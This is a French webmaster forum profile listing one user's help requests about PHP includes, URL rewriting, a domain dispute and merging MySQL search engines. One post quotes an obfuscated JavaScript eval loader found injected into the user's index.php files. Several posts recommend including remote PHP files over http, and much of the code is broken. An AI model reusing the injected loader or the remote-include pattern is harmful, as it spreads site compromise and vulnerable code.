Aller au contenu

moonwar

Webmaster Régulier
  • Compteur de contenus

    73
  • Inscrit(e) le

  • Dernière visite

Messages postés par moonwar

  1. Salutation,

    Je veux recuperer le taux de change des devis à partir d'un site de bourse. J'ai pris la page d'impression du site qui comporte les données : exch, value, expr et date.

    J'ai trouvé cela dans un forum, mais je ne connais pas la suite:

    <?php 
    $url = "http://www.site.com/classic?user=printable&exch=EUR&value=1&expr=USD&date_fmt=us&margin_fixed=
    &date=02/09/09〈=fr";
    $tab_url = parse_url($url);
    print_r ( $tab_url["query"]); //va retourner /classic?user=printable&exch=EUR&value=1&expr=USD&date_fmt=us&margin_fixed=
    &date=02/09/09〈=fr

    //explode() pour couper la chaine obtenu
    $tab_query = explode ("&",$tab_url["query"]);
    print_r ($tab_query);
    //je ne connais pas la suite ... j'ai pas pu la faire
    ?>

    Dans un autre forum: (Cela affiche toute la page du site)

    <?php

    $url = &quot;http://www.site.com//classic?user=printable&exch=EUR&value=1&expr=USD&date_fmt=us&margin_fixed=

    &date=02/09/09〈=fr";

    $fp = fopen("$url","r" );

    while (!feof($fp)) :

    $ligne = fgets($fp, 4096);

    echo $ligne;

    endwhile ;

    fclose($fp);

    ?>

    Pi isoler les paramatères de l'URL: exch, value, expr et date.

    preg_match_all("/1 Euro = ([0-9,]+\.?[0-9]*) /", $contenu_page_oanda, $correspondances);

    Ma tête bouilleeeeeeee! Avez-vous une idée pour organiser tout cela afin de n'afficher que le change de devis voulu sans pub? Notez que je suis nul en PHP

    merci pour vos réponses.

  2. Salitation,

    Ca fait un bon moment, j'ai remarqué un code qui s'ajoute a tout mes fichiers index.php. Je ne connais ni l'origine ni la raison.

    J'ai aussi remarqué que ce code vient juste après la balise <body> ou juste avant la balise </body>

    <script language=JavaScript> function jbnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,30,39,22,1,14,38,60,18,9,0,0,0,0,0,0,58,48,35,28,33,55,56,41,23,6,37,3,45
    ,46,42,24,12,47,17,15,57,54,31,40,20,19,25,0,0,0,0,0,0,4,16,32,52,7,10,11,61,59,8
    ,43,44,51,5,2,34,29,62,36,13,50,27,26,21,53,49);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(208^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}jbnb25('26kQdriGrSfGz8wGBUrhXrkQy10_AT_drilJUvLr8N02fwMs3grEm1MUfwlh3g7rIvQyU5_AT_2Y
    1LASNWmUM7F8fGcNr00V1ld8vMs6iQr_AT_VMrwiQ0Y_AT_0QV0rqIgGF_AT_QW03NQdpV2z8fMrgwlr8
    iQhpVr_AT_YMTJHMTTQ0hWV5Ty10rEgS726gLspvisHMFABvLT1gMsU1FcS57B8wN73viuYvMBofQz6N_
    AT_rrkQyfQil0VMUfwlh3kiE2S') </script>

    Comment s'en debarasser et est-ce-que vous avez une idée sur la faille sécuritaire que ce code utilise.

    Merci pour votre aide.

  3. Bonjour,

    J'essais de faire un include dans les slides d'un menu a onglet, mais les pages appellées ne chargent pas.

    Sur include direct par defaut, la page repend, maisvia les pages externes le php include ne marche pas

    <div id="contenu">
    <ul id="countrytabs" class="shadetabs">
    <li class="conteneur"><a href="#" rel="#default" class="selected">Algérie</a></li>
    <li class="conteneur"><a href="external2.htm" rel="countrycontainer">Politique</a></li>
    <li class="conteneur"><a href="external3.htm" rel="countrycontainer">Economie</a></li>
    <li class="conteneur"><a href="external4.htm" rel="countrycontainer">Sport</a></li>
    <li class="conteneur"><a href="external5.htm" rel="countrycontainer">Monde</a></li>
    </ul>
    <div id="countrydivcontainer" style="border:1px solid #BCBCBC; width:500px; margin-bottom: 1em; padding: 9px; background-image: url(alb/bgindex.gif)">
    <p>

    <?php
    include("bave.php");
    ?>

    </p>
    </div>

    <script type="text/javascript">

    var countries=new ddajaxtabs("countrytabs", "countrydivcontainer")
    countries.setpersist(true)
    countries.setselectedClassTarget("link") //"link" or "linkparent"
    countries.init()

    </script>

    Ma question: est-ce que vous avez une idée sur la bonne methode pour que ca fonctionne??

    Merci pour votre aide.

  4. Salutation,

    J'ai acheté y a de ça plus d'une année un Nom du domaine + Hosting chez une societé americainne. Tout allait bien jusqu'au jour (8 mois après) l'hebergeur m'annonce que ma carte de credit (banque europeenne) est une carte fraude :blink: !!!!

    J'ai envoyé les documents delivrés par ma banque comme preuve que ma carte n'est pas fraudée, mais l'hebergeur ne voulait rien comprendre! J'ai changé de carte de crédit (banque canadienne)... meme chose et plus, il ne répend meme pas a mes e-mail et coups de téléphone.

    L'hébergeur a changé le owner de NDD et l'a mis à son nom. J'ai attendu la fin de l'expiration du contrat (Expiration date: 14 Apr 2006 19:59:21) et à ma surprise! le NDD est tjrs au nom de l'hebergeur et pire!! il est mis en Vente :blink:

    Rachetter un NDD de 7$ à 200$ quand meme :unsure:

    J'attend vos conseils.

    Merci.

  5. Salutation,

    :blink: je me suis posé la question "Pkoi les GROS sites telque "msn", "yahoo" ou "Lycos" ne tombent que rarement en panne!" alors, pour eviter à ce que mon site ne s'arrete avec l'arrêt de mon hebergeur, j'ai pris deux hebergements chez deux differents hegergeurs.

    Techniquement, c'est pas evident vu que c'est du double travaille :nono: . et le pointage se fait manuellement via le panel de mon registrar.

    Donc, ma quéstion est : "Comment faire pour rediriger automatiquement un nom de domain sur un hebergeur de secourt (page d'index y comprise) si l'hebergeur principal est en panne?" :whistling:

    Merci d'avance pour vos réponses. :)

  6. Merci Sebastien pour le lien, mais le code en quéstion n'est valable que pour les textes. peut etre à utiliser dans le cas des citations...

    Moi ce que je cherche c'est un truc qui supporte les images, textes, hypertext etc etc...

    T'en a une idée?

    Merci d'avance.

  7. Salutation,

    Mon site est découpé en cellule, chaque cellule est un sujet ... :huh: (classique)...

    Toutes les cellules appellent une page via "include". Donc mon site est basé sur le code suivant:

    <?php include("http://www.mon_site.com/dossier_x/fichier_y.php"); ?>

    Comme j'ai plusieurs sujets, j'aimerais les faire afficher aléatoirement dans les cellules sans interbenir dessus.

    Par exemple:

    Dans la rubrique thématique "Automobile", j'ai 10 fiches techniques de diff marques:

    <?php

    include(&quot;http://www.mon_site.com/automobile/mercedes.php");

    ?>

    <?php

    include(&quot;http://www.mon_site.com/automobile/citroen.php");

    ?>

    <?php

    include(&quot;http://www.mon_site.com/automobile/bmw.php");

    ?>

    etc etc

    comment les faires afficher aléatoirement ... je pense que la question est claire :whistling: .

    Merci d'avance pour votre aide. :)

  8. Salutation;

    Si tu veux importer une partie d'un site externe (voir meme completement le site) mets ça:

    <?php
       include("http://www.site_externe.com/fichier.php");
    ?>

    Mais tu dois avant preparer un tableau (contenant) dans TON site pour accueillir le contenu. faire attention aux dim du contenu, sinon ton site risque d'etre deformer.

  9. Salut Dan

    j'en profite pour te remercier d'avoir editer les URLs de mes messages ;)

    Pas de probleme, on va oublier le cache :boude: mais juste pour precision sur cette ligne!!! je cite l'article de developpez.com ci-joint l'URL

    RewriteEngine on 
    #Si la page.cache existe :
    RewriteCond %{REQUEST_FILENAME}\.cache -f
    #on réécrit son url:
    RewriteRule ([^.]+)\.html$ /$1.html.cache [L]
    #et du fait du [L], on se serait arrêté là si elle existait.
    #sinon, on exécute le script page.php en passant le nom de la page demandée en paramètre :
    RewriteRule ([^.]+)\.html$ /page.php?page=$1 [L]

    ---------------------------------------

    Pour les questions, et bien ... est-ce que mes ecritures sont justes ?

    Je vous donne l'ULR d'origine avec le rewriting qui va avec, et corrigez-moi si je fais une connerie :unsure: .

    En gros, j'ai plusieurs types d'ecritures des URLs, cela est du au fait que j'ecrits mes pages sur bloc notes :wacko: pour eviter tout probleme de license ...

    1- Pour le type: "mon_site.com/index.php?jour=1"

    Est-ce juste de mettre ce code?

    RewriteEngine on 
    RewriteRule ([^.]+)\.html$  /index.php?jour=$1 [L]

    2- Pour le type: "monsite.com/redaction/~auteur/index.php?article=10"

    Est-ce juste de mettre ce code?

    RewriteEngine on 
    RewriteRule ([^.]+)\.html$ /redaction/~auteur/index.php?article=$1 [L]

    3- Est-ce que je dois ajouter un fichier .htaccess dans tout repertoire de mes sites ou un seul a la racine suffirait?

    4- Dans mes repertoire, j'ai nommé tout les liens suivant le sujet. je m'explique

    Per exemple pour la partie Musique, j'ai "monsite.com/.../.../musique/index.php?

    chanson=10

    Pour la partie Sport; j'ai mis "monsite.com/.../sport/foot/index.php?

    journée=10

    J'aimerais savoir comment faire afin de retrouver les thèmes dans mes ULR réécrits en HTML.

    Merci pour:

    RewriteCond %{HTTP_HOST} !www.site.com$
    RewriteRule (.*) http://www.site.com/$1 [R=301,L]

    J'espere que ça marche avec OVH.com et CeleoNet.fr

    Merci d'avance pour vos réponses :)

  10. Salutation,

    Pour commancer, mon hebergeur support le mod_rewriting et le php5 donc, pas de probleme de ce coté là.

    Cela dit, je n'ai pas drois a l'erreur car meme si mon hebergeur accepte le rewriting, ces serveurs cache les .htaccess, donc si je fais une connerie, je risque de ne pas retrouver mes .htaccess meme via un logiciel FTP.

    donc ...

    J'en ai lu des tonnes d'articles... donc, si j'ai bien compris (je prends en compte le cache)...

    le code à mettre dans un .htaccess est ça :

    Code:

    RewriteEngine on 
    RewriteCond %{REQUEST_FILENAME}\.cache -f
    RewriteRule ([^.]+)\.html$ /$1.html.cache [L]
    RewriteRule ([^.]+)\.html$ /page.php?page=$1 [L]

    ---------------------------------------------------

    Si mes liens sont dans le genre : "mon_site.com/index.php?jour=1" mon code devient comme ça???? :whistling:

    Code:

    RewriteEngine on 
    RewriteCond %{REQUEST_FILENAME}\.cache -f
    RewriteRule ([^.]+)\.html$ /$1.html.cache [L]
    RewriteRule ([^.]+)\.html$  /index.php?jour=$1 [L]

    Comment faire pour introduit dans mes URL (html) les titres genre "article" "musique" "journee" ... etc

    ---------------------------------------------------

    dans le cas où j'ai:

    monsite.com/redaction/~auteur/index.php?article=10

    je mets ça? :unsure:

    Code:

    RewriteEngine on 
    RewriteCond %{REQUEST_FILENAME}\.cache -f
    RewriteRule ([^.]+)\.html$ /$1.html.cache [L]
    RewriteRule ([^.]+)\.html$ /redaction/~auteur/index.php?article=$1 [L]

    -------------------------------------------------

    :wacko:

    Autre chose, est ce que je dois mettre dans chaque repertoire un .htaccess?

    -------------------------------------------------

    :huh: Comment faire (exactement et par la plus simple des methodes ) convertire les sites "site.com" en "www.site.com"??.

    -------------------------------------------------

    Merci d'avance pour vos réponses,

    Bien cordialement.

    M.K.

  11. Salutation;

    Comme on a un peu d'espace dans notre site ... disons .. beaucoup d'espace :whistling: ... On aimerait bien offrir la possibilité au internautes d'y ouvrir des webblog gratuitement.

    On a déjà une option illimité pour les sous-domaines, mais quand meme faut pas abuser avec la bande passante :D ... donc, on a opté pour les Blogs..

    Bref, Ma question est ...

    Comment ça se fait, ou bien, où trouver un bon et beau script (gratuit :blush: ) qui nous faliciterait la tache avec interdiction de telle et/ou telle chose. Une gestion automatique des blogs et surtout faciler la tache (texte et image) pour les novices voir les non-internetelisés (je sais pas si ce mot existe :wacko: ) ?

    Merci pour vos réponses

    Bien cordialement.

  12. A à Z Fleurs le CSS marche bien, mais il manque chose .. je sais pas koi :nono: ...

    <!-- debut tabs menu -->
    <center>
    <a href="javascript:document.getElementById('Recherche_Locale').style.display='block';document.getElementById('Recherche_Musique').style.display='none';document.getElementById('Recherche_Annuaire').style.display='none';">Locale</a> |
    <a href="javascript:document.getElementById('Recherche_Locale').style.display='none';document.getElementById('Recherche_Musique').style.display='block';document.getElementById('Recherche_Annuaire').style.display='none';">Musique</a> |
    <a href="javascript:document.getElementById('Recherche_Locale').style.display='none';document.getElementById('Recherche_Musique').style.display='none';document.getElementById('Recherche_Annuaire').style.display='block';">Annuaire</a>
    <!-- fin tabs menu -->
    </center>

    <div id="Recherche_Locale">
    <?php
    //affichage moteur de recherche
    include("http://www.dzyri.com/search_index_inc.php");
    ?>
    </div>

    <div id="Recherche_Musique">
    <?php
    //affichage moteur de recherche
    include("http://www.dzyri.com/communaute/musique/search_index_inc.php");
    ?>

    </div>
    <div id="Recherche_Annuaire">
    <?php
    //affichage moteur de recherche
    include("http://www.dzyri.com/annuaire/search_index_inc.php");
    ?>
    </div>

    Je ne vois vraiment pas comment resoudre le probleme :wacko:

  13. Non!!! :boude: ça marche pas Voila le lien; après le clic, ça donne sur CA ... pas normal :wacko:

    Je veux jouer sur l'affichage du moteur de recherche suivant le (clic) bouton "Locale", "Musique" et "Annuaire" genre "Yahoo". Noter que j'ai 03 moteurs de recherches. J'ai essayé avec les boutons "radio" mais ... c'est une longue histoire....

    Sinon oubliez le Php, vous avez une idée sur un bon javascript?.

    Merci d'avance pour vos réponses.

    Bien cordialement.

  14. Salutation,

    lafosca; Tu veux dire ...

    <?php 
          header("Location: http://www.monsite.com/menu.php");
    ?>

    Et dans "menu.php" j'introduis mes differents clics et liens. ouin, je n'ai pas pensé a ça je vais la testé ... mais alors je vais devoir mettre ma page "menu.php" avec les balises <html> <title> <head> et <body>.

    Mici A à Z Fleurs pour ta réponse :rolleyes:

    Merci d'avance pour vos réponses.

    Bien cordialement.

  15. Salutation;

    Comment faire pour changer le contenu d'un "include" sans pour autant charger à chaque clic la page.

    Exemple menu du moteur de recherche Yahoo.

    Le DHTML est trop lourd pour mon serveur ... peut etre un javascript :boude: ... Mais est ce qu'il existe une méthode directe avec du code PHP ?

    Merci d'avance pour vos réponses.

    Bien cordialement.

  16. Rien à faire :boude: ...

    Si ça marche pas via "jeu entre les bases de données" peut etre le faire par les fichiers search.php :unsure: car j'ai mis pour chaque script un fichier search.php:

    Recherche dans "Local" ==> Racine "/"

    Recherche dans "Annuaire" ==> Rep "/annuaire/"

    Recherche dans "Musique" ==> Rep "/musique"

    Page search.php: (page d'action du FORM du formulaire)

    <?php
    //moteur de recherche
    include("data_bd.php"); //variables de la base de donnée
    include("functions.php"); //fonctions du script

    Et pour chaque lien un fichier data_bd.php et functions.php

    donc :

    fichier ../data_bd.php

    //données pour la connexion à la base de données cherche
    $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL
    $db_name = "cherche"; //nom de la base de données
    $db_user_login = "cherche"; //nom d'utilisateur pour la BD
    $db_user_pass = "######"; //mot de passe pour la BD

    fichier ../musique/data_bd.php

    //données pour la connexion à la base de données musique
    $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL
    $db_name = "musique"; //nom de la base de données
    $db_user_login = "musique"; //nom d'utilisateur pour la BD
    $db_user_pass = "######"; //mot de passe pour la BD

    fichier ../annuaire/data_bd.php

    //données pour la connexion à la base de données annuaire
    $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL
    $db_name = "annuaire"; //nom de la base de données
    $db_user_login = "annuaire"; //nom d'utilisateur pour la BD
    $db_user_pass = "######"; //mot de passe pour la BD

    Donc, en gros ... faire des boutons radio pour l'action du "FORM" des formulaire ... c'est possible?. :whistling:

    Merci pour l'equipe..

    :blush:

  17. Je commance a comprendre le systeme de fonctionnement du SQL :hypocrite: merci l'equipe ... Voila, j'ai renommé les variables:

    Voir en haut pour connaitre la fonction des fichiers data_bd.php et fonctions.php B)

    Fichier data_bd.php

    <?php

    //nom des tables pour la BD, si vous voulez les changer... par exemple en cas d'installation multiples dans une même BD !
    $T_admins = "admins_annuaire"; //table des administrateurs
    $T_categories = "categories_annuaire"; //table des categoires
    $T_commentaires = "commentaires_sites_annuaire"; //table des commentaires
    $T_infos = "infos_annuaire"; //table pour le infos (anciennement admin_annuaire)
    $T_sessions = "sessions_annuaire"; //table pour les sessions des administrateurs
    $T_sites = "sites_annuaire"; //table pour les sites et liens
    $T_sites_in_wait = "sites_in_wait_annuaire"; //table pour les sites et liens en attentes


    //données pour la connexion à la base de données
    $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL
    $db_name = "cherche"; //nom de la base de données
    $db_user_login = "cherche"; //nom d'utilisateur pour la BD
    $db_user_pass = "######"; //mot de passe pour la BD

    $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL
    $db_name = "musique"; //nom de la base de données
    $db_user_login = "musique"; //nom d'utilisateur pour la BD
    $db_user_pass = "######"; //mot de passe pour la BD

    $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL
    $db_name = "annuaire"; //nom de la base de données
    $db_user_login = "annuaire"; //nom d'utilisateur pour la BD
    $db_user_pass = "######"; //mot de passe pour la BD

    ?>

    La partie BD du fichier fonctions.php :

    /******** FONCTIONS POUR LA BD ***********/

    function connection_BD()
    {
    global $db_server, $db_user_login, $db_user_pass, $db_name;
    //connexion au serveur
    $linkid = _AT_mysql_connect($db_server,$db_user_login,$db_user_pass) or die ("Erreur lors de la connection au serveur MySQL !");
    //selection de la BD
    @mysql_select_db($db_name,$linkid) or die("Impossible de sélectionner la base de données\n<br>\nVoici l'erreur renvoyée par le serveur MySQL :\n<br>\n".mysql_error());
    return $linkid;
    }

    /***** DEBUT DU SWITCH *****/
    $db_server['host'] = 'localhost';
    $db_name['user'] = 'root';
    $db_user_login['pass'] = '';
    $db_user_pass['connection'] = _AT_mysql_connect($db_server,$db_user_login,$db_user_pass) or die("Erreur lors de la connection au serveur MySQL !"); // connection au serveur

    switch($_POST['radio']) {
    case 'recherche_locale': {
    $db_name['base'] = 'cherche'; // base pour recherche locale
    }
    case 'annuaire': {
    $db_name['base'] = 'annuaire'; // base pour annuaire
    }
    case 'musique': {
    $db_name['base'] = 'musique'; // base pour musique
    }
    }
    $$db_name['selection'] = _AT_mysql_select_db($$db_name['base'], $db_user_pass['connection'] ) or die("Impossible de sélectionner la base de données\n<br>\nVoici l'erreur renvoyée par le serveur MySQL :\n<br>\n".mysql_error()); // Selection finale

    /***** FIN DU SWITCH *****/

    function send_sql($sql,$message)
    //envoi la requete $sql a la base et affiche un message si il y a eu un probleme sinon on rend le resultat
    {
    if(!$res = _AT_mysql_query($sql))
    {
     $message_erreur = "<font color=\"#ff0000\">\n";
     $message_erreur .= "Impossible d'effectuer la requête pour $message\n";
     $message_erreur .= "<br><br>\n";
    //  $message_erreur .= "Voici la requête : \n<br>\n";
    //  $message_erreur .= "$sql\n";
    //  $message_erreur .= "<br><br>\n";
     $message_erreur .= "Voici le message d'erreur renvoyé par la base de données :\n<br>\n";
     die("$message_erreur".mysql_errno()." : ".mysql_error()."</font>\n");
    }
    return $res;
    }

    /******************/

    Merci pour vos précisions parce que ça marche tjrs pas :(.

    Voici le Lien (j'ai desactivé le switch car ça donne comme message : "Erreur lors de la connection au serveur MySQL !" )

    Merci d'avance;

    Bien cordialement

  18. Là ... je crois que je suis completement perdu :whistling: ...

    je vous donne le shema complet des liens.

    Page INDEX :

    ...
    <?php
       include("http://www.****.com/modules/frames_header_menu.php");
    ?>

    <?php
       include("http://www.****.com/modules/frames_header_sherch.php");
    ?>

    <table border="0" width="780" bottommargin="0" leftmargin="0" rightmargin="0" marginheight="0" marginwidth="0" topmargin="0" cellspacing="0" cellpadding="0" align="center" background="/banner.gif">
    <tr>.... suite etc etc

    Page frames_header_sherch.php: (Formulaire HTML)

    <?php
    //affichage du formulaire pour le moteur de recherche

    $mots = isset($_REQUEST['mots']) ? $_REQUEST['mots'] : '';

    if (empty($mots))
    {
    $value = "";
    $erase = " onfocus=\"if (!erased_annuaire)this.value = ''; erased_annuaire = true;\"";
    }
    else
    {
    $value = stripslashes(htmlspecialchars($mots));
    $erase = "";
    }
    //formulaire pour afficher le moteur de recherche
    ?>
    <center>
    <table width="780" border="0" cellspacing="0" cellpadding="0" align="center"  background="/images/plan_cherche.gif">
    <tr height="55" valign="middle">
     <td width="760">
    <center>
    <form action="/search.php" method="post">
    <input type="hidden" name="action" value="seek"><font class="BIG">Recherche</font>   
    <input type="text" name="mots" size=25 maxlength=200 value="<?php echo $value; ?>"<?php echo $erase; ?> class="recherche">
       
    <input type="image" border="0" name="envoyer" src="/images/chercher.gif"  width="80" height="20" alt="Valider la recherche" align="middle">
    <br>
    <span class="">

    <input type="radio" name="radio" value="recherche_locale" checked>Locale 
    <input type="radio" name="radio" value="musique">Musique 
    <input type="radio" name="radio" value="annuaire">Annuaire
      
    Résultats par page :
    <select name="nb_results2show" class="">
    <option value=10>10</option>
    <option value=20>20</option>
    <option value=50>50</option>
    </select>
       
    <input type="radio" value="AND" name="booleen" checked>Tous les mots
    <input type="radio" value="OR" name="booleen">Au moins un
    </span>
    </center>
    </td><td width="20"></form></td></tr></table>
    </center>

    Page search.php: (page d'action du FORM du formulaire)

    <?php
    //moteur de recherche
    include("data_bd.php"); //variables de la base de donnée
    include("functions.php"); //fonctions du script

    $mots = isset($_REQUEST['mots']) ? $_REQUEST['mots'] : '';
    $mots = trim($mots);
    $page = isset($_GET['page']) ? (int)$_GET['page'] : 0;
    if($page < 0)
    exit;
    .... suite etc etc

    Page data_bd.php: (variables des bases de données)

    <?php
    /********* ADMINISTRATION **************/
    //nom des tables pour la BD, les changer en cas d'installation multiples dans une même BD !
    $T_admins = "admins_annuaire"; //table des administrateurs
    $T_categories = "categories_annuaire"; //table des categoires
    $T_commentaires = "commentaires_sites_annuaire"; //table des commentaires
    $T_infos = "infos_annuaire"; //table pour le infos (anciennement admin_annuaire)
    $T_sessions = "sessions_annuaire"; //table pour les sessions des administrateurs
    $T_sites = "sites_annuaire"; //table pour les sites et liens
    $T_sites_in_wait = "sites_in_wait_annuaire"; //table pour les sites et liens en attentes
    /***************************************/

    //données pour la connexion à la base de données
    $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL
    $db_name = "cherche"; //nom de la base de données
    $db_user_login = "cherche"; //nom d'utilisateur pour la BD
    $db_user_pass = "########"; //mot de passe pour la BD

    $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL
    $db_name = "musique"; //nom de la base de données
    $db_user_login = "musique"; //nom d'utilisateur pour la BD
    $db_user_pass = "########"; //mot de passe pour la BD

    $db_server = "honshu.inside.globat.com"; //adresse du serveur MySQL
    $db_name = "annuaire"; //nom de la base de données
    $db_user_login = "annuaire"; //nom d'utilisateur pour la BD
    $db_user_pass = "########"; //mot de passe pour la BD

    $MySQL['host'] = 'localhost';
    $MySQL['user'] = 'root';
    $MySQL['pass'] = '########';
    $MySQL['connection'] = _AT_mysql_connect($MySQL['honshu.inside.globat.com'], $MySQL['cherche'], $MySQL['#######']) or die(mysql_error()); // connection au serveur

    switch($_POST['radio']) {
    case 'recherche_locale': {
    $MySQL['base'] = 'cherche'; // base pour recherche locale
    }
    case 'annuaire': {
    $MySQL['base'] = 'annuaire'; // base pour annuaire
    }
    case 'musique': {
    $MySQL['base'] = 'musique'; // base pour musique
    }
    }
    $MySQL['selection'] = _AT_mysql_select_db($MySQL['base'], $MySQL['connection']) or die(mysql_error()); // Selection finale

    ?>

    Page functions.php: (Partie BD de la page des fonctions generales du script)

    /********* FONCTIONS POUR LA BD **************/

    function connection_BD()
    {
    global $db_server, $db_user_login, $db_user_pass, $db_name;
    //connexion au serveur
    $linkid = _AT_mysql_connect($db_server,$db_user_login,$db_user_pass) or die ("Erreur lors de la connection au serveur MySQL !");
    //selection de la BD
    @mysql_select_db($db_name,$linkid) or die("Impossible de sélectionner la base de données\n<br>\nVoici l'erreur renvoyée par le serveur MySQL :\n<br>\n".mysql_error());
    return $linkid;
    }

    function send_sql($sql,$message)
    //envoi la requete $sql a la base et affiche un message si il y a eu un probleme sinon on rend le resultat
    {
    if(!$res = _AT_mysql_query($sql))
    {
     $message_erreur = "<font color=\"#ff0000\">\n";
     $message_erreur .= "Impossible d'effectuer la requête pour $message\n";
     $message_erreur .= "<br><br>\n";
    //  $message_erreur .= "Voici la requête : \n<br>\n";
    //  $message_erreur .= "$sql\n";
    //  $message_erreur .= "<br><br>\n";
     $message_erreur .= "Voici le message d'erreur renvoyé par la base de données :\n<br>\n";
     die("$message_erreur".mysql_errno()." : ".mysql_error()."</font>\n");
    }
    return $res;
    }

    /**********************************/

    Désolé pour les erreurs GRAVES car je suis completement :wacko: ....

    Merci d'avance pour votre aide.

    Bien cordialement.

  19. Re et merci MS-DOS_1991 ... c'est pas que je n'ai pas testé ... mais ... Un forum est fait pour avoir de l'aide et non pour se faire faire son boulot ;)

    So :huh: ... je me suis battu avec durant toute la nuit ... et ça donne ça :blush:

    Access denied for user 'root'@'honshu.inside.globat.com' (using password: NO)

    Le manuel MuSQL dit "si vous obtenez une erreur qui contient Using password: NO , cela signifie que vous avez essayé de vous connecter sans mot de passe." Pourtant, j'ai introduit mon "pass" et j'ai mis le meme pass pour tout les bases .. mais le message revient tjrs :wacko:

    Au fait, vous avez oublié un ' dans:

    case 'musique': {
    $MySQL['base'] = musik'; // base pour musique
    }

    Merci encore pour votre aide.

    Bien cordialement;

    NB: globat.com c'est mon hebergeur... evident

  20. Salutation,

    J'ai installé un meme script trois (03) fois dans mon site. Donc, en tout j'ai 03 meme moteurs de recherches et 03 meme bases de données.

    1- Recherche locale

    2- Annuaire

    3- Musique

    J'aimerais regrouper les 03 moteurs de recherches dans un meme et unique moteur grace à des boutons de type radio.

    Comment faire pour appeller chaque base de donnée via un bouton radio?

    Merci d'avance pour vos réponse.

    Bien cordialement.

×
×
  • Créer...